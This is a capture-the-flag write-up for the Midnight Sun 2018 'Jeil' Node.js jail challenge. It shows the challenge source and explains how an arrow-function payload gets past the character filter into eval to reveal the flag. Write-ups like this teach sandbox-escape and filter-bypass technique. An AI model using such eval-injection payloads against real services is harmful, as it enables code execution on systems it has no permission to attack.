Midnight Sun 2018 - Jeil (Pwn)

NUS Greyhats bio photo By NUS Greyhats

Javascript jail challenge that filters most Javascript special symbols and alphabets.

Challenge Description

You are awesome at breaking into stuff, how about breaking out?

Service: nc web2.midnightsunctf.se 55542 | nc 34.244.177.217 55542

Points

Points: 200

Solves: 3

Author: avlidienbrunn

Solution

We are given the following source code:

var readline = require('readline');
var rl = readline.createInterface(process.stdin, process.stdout);

var Jail = (function() {
    var rv = {};

    function secretFuncUnguessable(a,b,c){
        if(a === '' && b === '' && c === ''){
            return true;
        }
    }

    function call(code) {
        var line = "";

        if(new RegExp(/[\[\]\.\\\+\-\/;a-zA-Z{}`'"\s]/).test(code)){
            console.log("Unrecognized code.");
            throw 123;
            return;
        }

        if(!(code.length == 32)){
            console.log("Incorrect code length.");
            throw 123;
            return;
        }

        arguments = undefined;

        ret = null;
        ret = eval("this.secretFuncUnguessable"+code);

        if(typeof ret == "function"){
            if(ret.call(this,'', '', '') === true){
                console.log("");
            }else{
                console.log("Incorrect code.");
            }
        }else{
            console.log("Incorrect code.");
        }
        throw 123;
    };
    rv.call = call;
    rv.toString = function(){return rv.call.toString()};

    return rv;
})();

template = `| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    Internal    |
|________|
       ||
(\\__/) ||
(•ㅅ•) ||
/   づ

Code: `;

function ask(){
    rl.question(template,function(answer){
        Jail.call(answer);
    });
}

ask();

The program filters a lot of characters and we are left with the following to work with:

['0',
'1',
'2',
'3',
'4',
'5',
'6',
'7',
'8',
'9',
'!',
'#',
'$',
'%',
'&',
'(',
')',
'*',
',',
':',
'<',
'=',
'>',
'?',
'@',
'^',
'_',
'|',
'~',
'\t',
'\n',
'\r',
'\x0b',
'\x0c']

The objective is to get the flag by passing these constraints:

ret = eval("this.secretFuncUnguessable"+code);

        if(typeof ret == "function"){
            if(ret.call(this,'', '', '') === true){
                console.log("");
            }else{
                console.log("Incorrect code.");
            }
        }else{
            console.log("Incorrect code.");
        }

The user input is concatenated with the base part of the unguessable function name and then evaluated. Thus, we have to make the eval return a valid function that also returns true when those parameters are passed to it.

We can create a test environment for ourselves to play with this:

$ nodejs
> this.secretFunction12345 = function(a,b,c) {
... if (a == "1") return true;
... }
[Function]
> eval("this.secretFunction" + "")
undefined
>

To begin with, we need to be able to chain another command. We can do this easily with ,.

> eval("this.secretFunction" + ",1")
1

Next, we need to create a function. Turns out, we can do this with the fat arrow notation =>. I opted to use a unicode symbol as the variable name since it was not filtered.

> eval("this.secretFunction" + ",Ŝ=>1")
[Function]

Finally, we need that function to always return true. We can do this by using !0 to create that value.

> !0
true
> eval("this.secretFunction" + ",Ŝ=>!0")
[Function]
> eval("this.secretFunction" + ",Ŝ=>!0")()
true

Now, all we need to do is pad it to the required length and then send it to the server to get our flag.

nc 34.244.177.217 55542
| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    Internal    |
|________|
       ||
(\__/) ||
(•ㅅ•) ||
/   づ

Code: ,1111111111111111111111111,Ŝ=>!0
midnight{f33lin_fr1sky_f0r_funky_funct10nz}

Flag: midnight{f33lin_fr1sky_f0r_funky_funct10nz}